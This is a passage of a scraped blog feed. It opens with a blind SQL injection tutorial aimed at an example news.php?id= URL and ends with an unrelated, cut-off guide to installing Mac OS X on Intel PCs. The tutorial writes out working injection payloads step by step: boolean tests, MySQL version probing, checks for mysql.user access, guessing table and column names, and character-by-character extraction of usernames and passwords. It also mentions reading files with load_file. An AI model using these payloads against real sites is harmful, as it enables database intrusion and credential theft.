Blind injection is a little more complicated the classic injection but it can be done :D&lt;br /&gt;
&lt;br /&gt;
I must mention, there is very good blind sql injection tutorial by xprog, so it&#39;s not bad to read it :D&lt;br /&gt;
&lt;br /&gt;
Let&#39;s start with advanced stuff.&lt;br /&gt;
&lt;br /&gt;
I will be using our example&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5&lt;br /&gt;
&lt;br /&gt;
when we execute this, we see some page and articles on that page, pictures etc...&lt;br /&gt;
&lt;br /&gt;
then when we want to test it for blind sql injection attack&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and 1=1 &amp;lt;--- this is always true&lt;br /&gt;
&lt;br /&gt;
and the page loads normally, that&#39;s ok.&lt;br /&gt;
&lt;br /&gt;
now the real test&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and 1=2 &amp;lt;--- this is false&lt;br /&gt;
&lt;br /&gt;
so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.&lt;br /&gt;
&lt;br /&gt;
1) Get the MySQL version&lt;br /&gt;
&lt;br /&gt;
to get the version in blind attack we use substring&lt;br /&gt;
&lt;br /&gt;
i.e&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4&lt;br /&gt;
&lt;br /&gt;
this should return TRUE if the version of MySQL is 4.&lt;br /&gt;
&lt;br /&gt;
replace 4 with 5, and if query return TRUE then the version is 5.&lt;br /&gt;
&lt;br /&gt;
i.e&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5&lt;br /&gt;
&lt;br /&gt;
2) Test if subselect works&lt;br /&gt;
&lt;br /&gt;
when select don&#39;t work then we use subselect&lt;br /&gt;
&lt;br /&gt;
i.e&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and (select 1)=1&lt;br /&gt;
&lt;br /&gt;
if page loads normally then subselects work.&lt;br /&gt;
&lt;br /&gt;
then we gonna see if we have access to mysql.user&lt;br /&gt;
&lt;br /&gt;
i.e&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1&lt;br /&gt;
&lt;br /&gt;
if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.&lt;br /&gt;
&lt;br /&gt;
3). Check table and column names&lt;br /&gt;
&lt;br /&gt;
This is part when guessing is the best friend :)&lt;br /&gt;
&lt;br /&gt;
i.e.&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)&lt;br /&gt;
&lt;br /&gt;
then if the page loads normally without content missing, the table users exits.&lt;br /&gt;
if you get FALSE (some article missing), just change table name until you guess the right one :)&lt;br /&gt;
&lt;br /&gt;
let&#39;s say that we have found that table name is users, now what we need is column name.&lt;br /&gt;
&lt;br /&gt;
the same as table name, we start guessing. Like i said before try the common names for columns.&lt;br /&gt;
&lt;br /&gt;
i.e&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1&lt;br /&gt;
&lt;br /&gt;
if the page loads normally we know that column name is password (if we get false then try common names or just guess)&lt;br /&gt;
&lt;br /&gt;
here we merge 1 with the column password, then substring returns the first character (,1,1)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4). Pull data from database&lt;br /&gt;
&lt;br /&gt;
we found table users i columns username password so we gonna pull characters from that.&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&amp;gt;80&lt;br /&gt;
&lt;br /&gt;
ok this here pulls the first character from first user in table users.&lt;br /&gt;
&lt;br /&gt;
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value&lt;br /&gt;
&lt;br /&gt;
and then compare it with simbol greater then &amp;gt; .&lt;br /&gt;
&lt;br /&gt;
so if the ascii char greater then 80, the page loads normally. (TRUE)&lt;br /&gt;
&lt;br /&gt;
we keep trying until we get false.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&amp;gt;95&lt;br /&gt;
&lt;br /&gt;
we get TRUE, keep incrementing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&amp;gt;98&lt;br /&gt;
&lt;br /&gt;
TRUE again, higher&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&amp;gt;99&lt;br /&gt;
&lt;br /&gt;
FALSE!!!&lt;br /&gt;
&lt;br /&gt;
so the first character in username is char(99). Using the ascii converter we know that char(99) is letter &#39;c&#39;.&lt;br /&gt;
&lt;br /&gt;
then let&#39;s check the second character.&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))&amp;gt;99&lt;br /&gt;
&lt;br /&gt;
Note that i&#39;m changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&amp;gt;99&lt;br /&gt;
&lt;br /&gt;
TRUE, the page loads normally, higher.&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&amp;gt;107&lt;br /&gt;
&lt;br /&gt;
FALSE, lower number.&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&amp;gt;104&lt;br /&gt;
&lt;br /&gt;
TRUE, higher.&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))&amp;gt;105&lt;br /&gt;
&lt;br /&gt;
FALSE!!!&lt;br /&gt;
&lt;br /&gt;
we know that the second character is char(105) and that is &#39;i&#39;. We have &#39;ci&#39; so far&lt;br /&gt;
&lt;br /&gt;
so keep incrementing until you get the end. (when &amp;gt;0 returns false we know that we have reach the end).&lt;br /&gt;
&lt;br /&gt;
There are some tools for Blind SQL Injection, i think sqlmap is the best, but i&#39;m doing everything manually,&lt;br /&gt;
&lt;br /&gt;
cause that makes you better SQL INJECTOR :D&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Hope you learned something from this paper.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Have FUN! (:&lt;br /&gt;
&lt;br /&gt;
or u can post ur comment .....to id&lt;br /&gt;
&lt;br /&gt;
hackeramit4u@gmail.com&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/4862663900450798341/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/full-sql-injection-tutorial-mysql.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/4862663900450798341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/4862663900450798341'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/full-sql-injection-tutorial-mysql.html' title='Full SQL Injection Tutorial (MySQL)'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-1277644334485702101</id><published>2011-01-29T02:00:00.000-08:00</published><updated>2011-02-18T08:24:47.369-08:00</updated><title type='text'>Install Mac OS X on any Intel-based PC</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;h3 class=&quot;post-title entry-title&quot;&gt;&lt;a href=&quot;http://tonymacx86.blogspot.com/2010/04/iboot-multibeast-install-mac-os-x-on.html&quot;&gt;&lt;/a&gt; &lt;/h3&gt;Any  OSx86 installation guide can seem daunting at first glance, especially  when trying to remember cryptic terminal commands and sorting through  volumes of misinformation on the web.&amp;nbsp; This guide requires no coding,  terminal work, or Mac experience of any kind.&amp;nbsp; You will not need access  to a Mac.&amp;nbsp; In fact, it&#39;s easier and faster for me to install Snow  Leopard with fully working components on my system than it is to install  Windows 7.&amp;nbsp; And more fun.&lt;br /&gt;
&lt;br /&gt;
The &lt;b&gt;iBoot + MultiBeast&lt;/b&gt; method is designed and tested for any  desktop or laptop running the latest line of Intel processors, the Core  i3/i5/i7s. &amp;nbsp;I have had reports of success with older machines as well  including CoreDuo, Core2Duo, and even Pentium 4.&amp;nbsp; However, AMD  processors are not supported.&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
YOU WILL NEED&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;A computer running an &lt;b&gt;Intel Processor&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;A blank &lt;b&gt;CD&lt;/b&gt; &lt;/li&gt;
&lt;li&gt;A &lt;a href=&quot;http://store.apple.com/us/product/MAC_OS_X_SNGL&quot;&gt;&lt;b&gt;Mac  OS X Snow Leopard Retail DVD&lt;/b&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;To leave any fear of your computer at the door.&lt;/li&gt;
&lt;li&gt;Patience and humility- it may not work out perfectly the first time-  but with enough tenacity and grit, you&#39;ll reach the promised land.&amp;nbsp;  It&#39;s easy to get frustrated, but don&#39;t give up!&amp;nbsp; There are a community  of users with similar hardware in the &lt;b&gt;&lt;a href=&quot;http://www.tonymacx86.com/&quot;&gt;tonymacx86 Forum&lt;/a&gt;&lt;/b&gt; to provide support if you get stuck.&lt;/li&gt;
&lt;/ul&gt;&lt;b&gt;BEFORE YOU BEGIN&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;If you have greater than 4gb of RAM, remove the extra RAM for a &lt;b&gt;maximum of 4gb&lt;/b&gt;.&amp;nbsp; You can put back any extra RAM in after the installation process.&lt;/li&gt;
&lt;li&gt;Use only &lt;b&gt;1 graphics card&lt;/b&gt; in the &lt;b&gt;1st PCIe slot&lt;/b&gt; with &lt;b&gt;1 monitor&lt;/b&gt; plugged in.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Remove any hard drives &lt;/b&gt;besides the blank drive being used for OS X.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Remove any &lt;/b&gt;&lt;b&gt;USB peripherals&lt;/b&gt; besides keyboard and mouse.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Remove any PCI cards&lt;/b&gt; besides graphics- they may not be Mac compatible.&lt;/li&gt;
&lt;li&gt;If using a Gigabyte 1156 board, use the &lt;b&gt;blue Intel SATA ports&lt;/b&gt;- not the white Gigabyte SATA ports.&lt;/li&gt;
&lt;li&gt;It&#39;s best to use an &lt;b&gt;empty hard drive&lt;/b&gt;- you will have to partition and format the drive.&amp;nbsp; &lt;/li&gt;
&lt;li&gt;&lt;b&gt;Always back&lt;/b&gt;&lt;b&gt; up&lt;/b&gt; any of your important data.&lt;/li&gt;
&lt;/ul&gt;&lt;b&gt;STEP 1: BIOS SETTINGS&lt;/b&gt;&lt;br /&gt;
You will need to set your BIOS to &lt;b&gt;ACHI&lt;/b&gt; mode and your Boot Priority to boot from &lt;b&gt;CD-ROM first&lt;/b&gt;.&amp;nbsp;  This is the most important step, and one many people overlook.&amp;nbsp; Make  sure your bios settings match these.&amp;nbsp; It&#39;s not difficult- the only thing  I did on my Gigabyte board besides setting Boot Priority to CD/DVD  first was set Optimized Defaults, change SATA to AHCI mode, and set HPET  to 64-bit mode.&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLM7UxKC5stSrVH1eF7WsJGvWI1sqRqZ0JOXXTq44BlIBt7IDiuQ7h12mpZFs3vtmZWivk9kMyweqiwCXLdx15aL7re-BRG084SgQUGovk53BxQuXSeqYKCn_xT4p66SDXXzu_NSxQMCU/s1600/Bios+0.JPG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLM7UxKC5stSrVH1eF7WsJGvWI1sqRqZ0JOXXTq44BlIBt7IDiuQ7h12mpZFs3vtmZWivk9kMyweqiwCXLdx15aL7re-BRG084SgQUGovk53BxQuXSeqYKCn_xT4p66SDXXzu_NSxQMCU/s320/Bios+0.JPG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9fQN2ry1-fFf5oF3gspJVbQdcGMlT5WVwG_B8QwQpCbnzENRr0WDsBdwQX3qWrnHBWYmWrZWLZj0Iu2GeQ7OQqsV3rPcohsQuKD5jcfYPuIYs0q0kdX9Hn-jiDnYC3Rl7WaRa9IEwHGA/s1600/Bios+2.JPG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9fQN2ry1-fFf5oF3gspJVbQdcGMlT5WVwG_B8QwQpCbnzENRr0WDsBdwQX3qWrnHBWYmWrZWLZj0Iu2GeQ7OQqsV3rPcohsQuKD5jcfYPuIYs0q0kdX9Hn-jiDnYC3Rl7WaRa9IEwHGA/s320/Bios+2.JPG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKPFZhfyQjUoSmxOxVsM6hVHRyRBq4xttFRpTaGGE-7d5dESAfiFTsPp_O1HeHpYp8gE2mELh0FM9khfBwcEhv8D9b2yLl921PX91VCSpUVNqIY0IZNSN0KGvJBew0fS7IjfEphH1KrCs/s1600/Bios+3.JPG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKPFZhfyQjUoSmxOxVsM6hVHRyRBq4xttFRpTaGGE-7d5dESAfiFTsPp_O1HeHpYp8gE2mELh0FM9khfBwcEhv8D9b2yLl921PX91VCSpUVNqIY0IZNSN0KGvJBew0fS7IjfEphH1KrCs/s320/Bios+3.JPG&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi37jWQ2rxJavpByBbJ6McWLoKioo5sweQh170uCW5QldpHBLK-CfEXqQk7PWhr65ysbtuuxr-UU2Imq74TLB6aEQ-mX6wmdx2c2aMlOHxEVh9uuQ7bOOwAuAIWgmgWNpL0MHsz2yVTXWw/s1600/Bios+4.JPG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi37jWQ2rxJavpByBbJ6McWLoKioo5sweQh170uCW5QldpHBLK-CfEXqQk7PWhr65ysbtuuxr-UU2Imq74TLB6aEQ-mX6wmdx2c2aMlOHxEVh9uuQ7bOOwAuAIWgmgWNpL0MHsz2yVTXWw/s320/Bios+4.JPG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
STEP 2: INSTALL MAC OS X&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
In order to boot the Mac OS X Retail DVD, you&#39;ll need to download and burn &lt;b&gt;&lt;a href=&quot;http://www.tonymacx86.com/Public/iBoot.zip&quot;&gt;iBoot&lt;/a&gt;&lt;/b&gt;.&amp;nbsp; For desktops and laptops using unsupported Intel CPUs and graphics, a legacy version of iBoot can be downloaded &lt;a href=&quot;http://www.tonymacx86.com/Public/iBoot-Legacy.zip&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://www.tonymacx86.com/Public/iBoot.zip&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1ctVNgk1FA4FJsklcMi1ROJoQr7zJquTWl2gqGxEbaE2UPiMXPdRO2vEQ9lfc1s7ceZs5RFZU4_4z8MZOvTxvfddvCseNae3rFVqyKjNcEuwmDok1NzDK_oNs16_7ENO9vPOiWNL0ZEE/s1600/iBoot2LogoBig.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Download &lt;b&gt;&lt;a href=&quot;http://www.tonymacx86.com/Public/iBoot.zip&quot;&gt;iBoot&lt;/a&gt; &lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Burn&lt;/b&gt; the image to &lt;b&gt;CD&lt;/b&gt; &lt;/li&gt;
&lt;li&gt;Place &lt;b&gt;iBoot&lt;/b&gt; in &lt;b&gt;CD/DVD drive&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Restart&lt;/b&gt; computer&lt;/li&gt;
&lt;li&gt;At &lt;b&gt;Chameleon&lt;/b&gt; prompt, eject &lt;b&gt;iBoot&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcYn-JvD0T0e5yCMi6dN_cY3abTE3g7RZIFLJMIcQK8q0GTwnEBoNSOwOTqgfPCib1eZFspi3NmvuuXGXnf-HMZ1O0byVdqO9mYi2nlJfFq_bDH7610gw0tVy8iQ1jLlJIipFVDYtmW2g/s1600/iBoot.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcYn-JvD0T0e5yCMi6dN_cY3abTE3g7RZIFLJMIcQK8q0GTwnEBoNSOwOTqgfPCib1eZFspi3NmvuuXGXnf-HMZ1O0byVdqO9mYi2nlJfFq_bDH7610gw0tVy8iQ1jLlJIipFVDYtmW2g/s320/iBoot.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Insert your &lt;b&gt;&lt;a href=&quot;http://store.apple.com/us/product/MAC_OS_X_SNGL&quot;&gt;Mac   OS X Snow Leopard Retail DVD&lt;/a&gt;&lt;span id=&quot;goog_1604117997&quot;&gt;&lt;/span&gt;&lt;span id=&quot;goog_1604117998&quot;&gt;&lt;/span&gt;&lt;/b&gt; and press &lt;b&gt;F5&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;When you see the screen below, press &lt;b&gt;enter&lt;/b&gt; to begin the boot process&lt;/li&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgckokjqK02ykPxDlRVVwkLEoGOFg_aoZeZ6XSlBFnq5DTzNGFHiwQ6vjUjZBt0BsH5e3Ae2W4GF7uOs7YfvDrLUgL01WvLIVB-GzxOSf2zsu4N4vj-i2-ZpABGjpMj9zGS7tNM4wHvkyM/s1600/Install+DVD.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgckokjqK02ykPxDlRVVwkLEoGOFg_aoZeZ6XSlBFnq5DTzNGFHiwQ6vjUjZBt0BsH5e3Ae2W4GF7uOs7YfvDrLUgL01WvLIVB-GzxOSf2zsu4N4vj-i2-ZpABGjpMj9zGS7tNM4wHvkyM/s320/Install+DVD.jpg&quot; /&gt;&lt;/a&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;b&gt; &lt;/b&gt;
&lt;li&gt;When you get to the installation screen, open &lt;b&gt;Utilities/Disk Utility. &amp;nbsp;&lt;/b&gt;&lt;b&gt;NOTE:  If you can&#39;t get to the installation screen, retry the process, but  type -x at the screen above.&amp;nbsp; This will enter Mac OS X Safe Mode, which  will allow you to proceed.&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Partition&lt;/b&gt; your hard drive to &lt;b&gt;GUID Partition Table&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Format&lt;/b&gt; your hard drive to &lt;b&gt;Mac OS Extended (Journaled). &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;b&gt;NOTE: Chameleon can only boot from a disk or partition of 1 TB or less. &amp;nbsp;Partition larger drives.&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;For the purposes of this guide, name it &lt;b&gt;Snow Leopard&lt;/b&gt;.&amp;nbsp; You can rename it later.&lt;/li&gt;
&lt;li&gt;Close &lt;b&gt;Disk Utility&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;When the installer asks you where to install, choose &lt;b&gt;Snow Leopard&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Choose &lt;b&gt;Customize&lt;/b&gt;‚ and uncheck additional options.&amp;nbsp; This will hasten the install process.&amp;nbsp; You can always install this stuff later.&lt;/li&gt;
&lt;li&gt;Restart computer.&lt;/li&gt;
&lt;li&gt;Place &lt;b&gt;iBoot&lt;/b&gt; back in drive.&lt;/li&gt;
&lt;li&gt;When you get to the &lt;b&gt;Chameleon&lt;/b&gt; boot selection screen, choose your new &lt;b&gt;Snow Leopard&lt;/b&gt; installation.&lt;/li&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQCb8kVqjQP3IA2WjS06KjFxIp2lOmXHdjc0ojqNwckZKDUrJ91BQbVhdbJx7vHc4046zCNmByxPG1IqjBmR7RYKLkD25yGl-y6SgEyYAf9WlvZg0H67ECiBA-eLDjAOlFJbKT09-tjYI/s1600/iBoot+SL.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQCb8kVqjQP3IA2WjS06KjFxIp2lOmXHdjc0ojqNwckZKDUrJ91BQbVhdbJx7vHc4046zCNmByxPG1IqjBmR7RYKLkD25yGl-y6SgEyYAf9WlvZg0H67ECiBA-eLDjAOlFJbKT09-tjYI/s320/iBoot+SL.jpg&quot; /&gt;&lt;/a&gt;&lt;b&gt; &lt;/b&gt;&lt;/div&gt;&lt;li&gt;View the super-cool &lt;b&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=FPTp-YInbJ0&quot;&gt;&lt;b&gt;Mac OS X Snow  Leopard Welcome Video&lt;/b&gt;&lt;/a&gt;&lt;/b&gt;, and set up your computer! &lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;b&gt;STEP 3: UPDATE TO 10.6.6&lt;/b&gt;&lt;br /&gt;
Upon the release of 10.6.2 and the 27&quot; Intel Core i5 and i7 iMacs, Mac  OS X Snow Leopard officially supports the Core i5 750 and Core i7 860.&amp;nbsp;  The 10.6.6 Update will install a Vanilla Kernel, as well as a host of  security and stability fixes. Details are available on Apple&#39;s website.&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;&lt;b&gt;Open Finder&lt;/b&gt; and navigate to your &lt;b&gt;Snow Leopard&lt;/b&gt; drive.&lt;/li&gt;
&lt;li&gt;Right-click and delete &lt;b&gt;Mac OS X Install Folder.&lt;/b&gt;&amp;nbsp; This folder is an unnecessary remnant of the installation process, and serves no purpose.&lt;/li&gt;
&lt;li&gt;Download the &lt;b&gt;&lt;a href=&quot;http://support.apple.com/kb/dl1349&quot;&gt;Mac OS X 10.6.6 Combo Update&lt;/a&gt; &lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Download &lt;b&gt;&lt;a href=&quot;http://www.tonymacx86.com/Public/MultiBeast.zip&quot;&gt;MultiBeast&lt;/a&gt; &lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Open &lt;b&gt;MultiBeast&lt;/b&gt;- don&#39;t run it yet, just leave it open.&amp;nbsp; Set up windows as shown.&lt;/li&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSwcY-R5mbDEEDa3HBlXj6SpUa5N-Ld3GfhIRY5qfE_VgbmeUt4-udnyT-DD4kscnC17PBETG8e4_7ixuav6RAq58rk74Z_Tf9OF9hFN3zcKVBNc8AEnG0IH1KUBFW1iMeWJY21FoGfzk/s1600/2+Windows.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSwcY-R5mbDEEDa3HBlXj6SpUa5N-Ld3GfhIRY5qfE_VgbmeUt4-udnyT-DD4kscnC17PBETG8e4_7ixuav6RAq58rk74Z_Tf9OF9hFN3zcKVBNc8AEnG0IH1KUBFW1iMeWJY21FoGfzk/s320/2+Windows.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;li&gt;Mount &lt;b&gt;MacOSXUpdCombo10.6.6.dmg&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Install &lt;b&gt;MacOSXUpdCombo10.6.6.pkg&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Upon completion, the installer will ask you to reboot.&amp;nbsp; &lt;b&gt;DO NOT REBOOT&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;Switch to the already open &lt;b&gt;MultiBeast&lt;/b&gt;.&amp;nbsp; If it closes, just re-open it.&lt;/li&gt;
&lt;/ol&gt;&lt;b&gt;STEP 4: MULTIBEAST&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://www.tonymacx86.com/Public/MultiBeast.zip&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVjsVDmyDm16ZwPPqcdZofsogjPXtI1_Ku-soka6h3hnt78k_j4qucYHDPe7HIhzlPIVq577CF_nLjDWnLkJCMIw4otuD0A8cZS3F8DpFZZgqJ0iSX5X2QFS7iVtEIbNofsGJUznP4Qr8/s320/MultiBeastlogo.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.blogger.com/goog_221219759&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKQ0YXDGtp9_fEMBPdK96NXWrsvXT2PRIclYp52f_Q82bl9FbL-NiOtDfQYPPV2-H9Y_yjx9oFj1ot_KFJFD5YQRJcrrU8ct-Rdz6CFas5XqUSRwMCrGyJIkOtpkJvhJ1R5CJ4l84nH9_S/s1600/30.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;296&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKQ0YXDGtp9_fEMBPdK96NXWrsvXT2PRIclYp52f_Q82bl9FbL-NiOtDfQYPPV2-H9Y_yjx9oFj1ot_KFJFD5YQRJcrrU8ct-Rdz6CFas5XqUSRwMCrGyJIkOtpkJvhJ1R5CJ4l84nH9_S/s400/30.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;MultiBeast&lt;/b&gt;  is an all-in-one post-installation tool designed to enable boot from  hard drive, and install support for Audio, Network, and Graphics. It  contains two different complete post-installation solutions: EasyBeast  and UserDSDT.&amp;nbsp; In addition it includes System Utilities to rebuild  caches and repair permissions and a collection of drivers, boot loaders,  boot time config files and handy software.&lt;br /&gt;
&lt;br /&gt;
Choose &lt;b&gt;one&lt;/b&gt; of the following options directly following a fresh installation and update:&amp;nbsp;&amp;nbsp;  &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;EasyBeast&lt;/b&gt; is a DSDT-free solution for any Core/Core2/Core i  system. It installs all of the essentials to allow your system to boot  from the hard drive. Audio, Graphics and Network will have to be enabled  separately.   &lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
